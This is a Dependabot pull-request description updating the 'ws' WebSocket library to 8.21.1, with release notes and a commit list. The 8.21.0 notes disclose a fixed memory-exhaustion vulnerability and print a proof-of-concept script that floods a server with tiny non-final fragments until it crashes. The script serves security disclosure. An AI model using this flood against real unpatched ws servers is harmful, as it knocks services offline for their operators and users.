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Bumps [ws](https://github.com/websockets/ws) from 8.19.0 to 8.21.1. <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/websockets/ws/releases">ws's releases</a>.</em></p> <blockquote> <h2>8.21.1</h2> <h1>Bug fixes</h1> <ul> <li>Empty fragments are now counted toward the limit (a2f4e7c0).</li> <li>The default values of the <code>maxBufferedChunks</code> and <code>maxFragments</code> options have been reduced (f197ac65).</li> </ul> <h2>8.21.0</h2> <h1>Features</h1> <ul> <li>Introduced the <code>maxBufferedChunks</code> and <code>maxFragments</code> options (2b2abd45).</li> </ul> <h1>Bug fixes</h1> <ul> <li>Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).</li> </ul> <p>A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a <code>ws</code> server or client due to OOM.</p> <pre lang="js"><code>import { WebSocket, WebSocketServer } from 'ws'; <p>const wss = new WebSocketServer({ port: 0 }, function () { const data = Buffer.alloc(1); const options = { fin: false }; const { port } = wss.address(); const ws = new WebSocket(<code>ws://localhost:${port}</code>);</p> <p>ws.on('open', function () { (function send() { ws.send(data, options, function (err) { if (err) return; send(); }); })(); });</p> <p>ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(<code>client close - code: ${code} reason: ${reason.toString()}</code>); }); });</p> <p>wss.on('connection', function (ws) { ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(<code>server close - code: ${code} reason: ${reason.toString()}</code>); }); }); </code></pre></p> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/websockets/ws/commit/ae1de54330cef77e487548890fabfeb9aae1d83d"><code>ae1de54</code></a> [dist] 8.21.1</li> <li><a href="https://github.com/websockets/ws/commit/8e9511b86b3fc6deebbd97dd9af7c9056deea8d1"><code>8e9511b</code></a> [ci] Trust Coveralls Homebrew tap</li> <li><a href="https://github.com/websockets/ws/commit/f197ac65140920bdcecdab74bfc69c2d7858e55d"><code>f197ac6</code></a> [fix] Lower default values of <code>maxBufferedChunks</code> and <code>maxFragments</code></li> <li><a href="https://github.com/websockets/ws/commit/8df8265c2f63fd44af3193a98e23cf38888cd991"><code>8df8265</code></a> [ci] Update actions/checkout action to v7</li> <li><a href="https://github.com/websockets/ws/commit/a2f4e7c046c2112bbce6fef39a083dac77d6f0d2"><code>a2f4e7c</code></a> [fix] Count empty fragments toward the limit (<a href="https://redirect.github.com/websockets/ws/issues/2329">#2329</a>)</li> <li><a href="https://github.com/websockets/ws/commit/e79f912cb3f492ae04c28feb9459a209e186b0ad"><code>e79f912</code></a> [pkg] Approve install scripts for bufferutil and utf-8-validate</li> <li><a href="https://github.com/websockets/ws/commit/4ea355d6d3069394994f82ca1b6d38c32ba208fb"><code>4ea355d</code></a> [doc] Document 32-bit signed integer coercion for option values</li> <li><a href="https://github.com/websockets/ws/commit/2120f4c8c625a76316792680a231496e1b615252"><code>2120f4c</code></a> [example] Remove uuid dependency</li> <li><a href="https://github.com/websockets/ws/commit/4c534a6b8a5224a563af116e85c6ced7d4ca60cf"><code>4c534a6</code></a> [security] Add latest vulnerability to SECURITY.md</li> <li><a href="https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94"><code>bca91ad</code></a> [dist] 8.21.0</li> <li>Additional commits viewable in <a href="https://github.com/websockets/ws/compare/8.19.0...8.21.1">compare view</a></li> </ul> </details> <br /> [](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores) Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. 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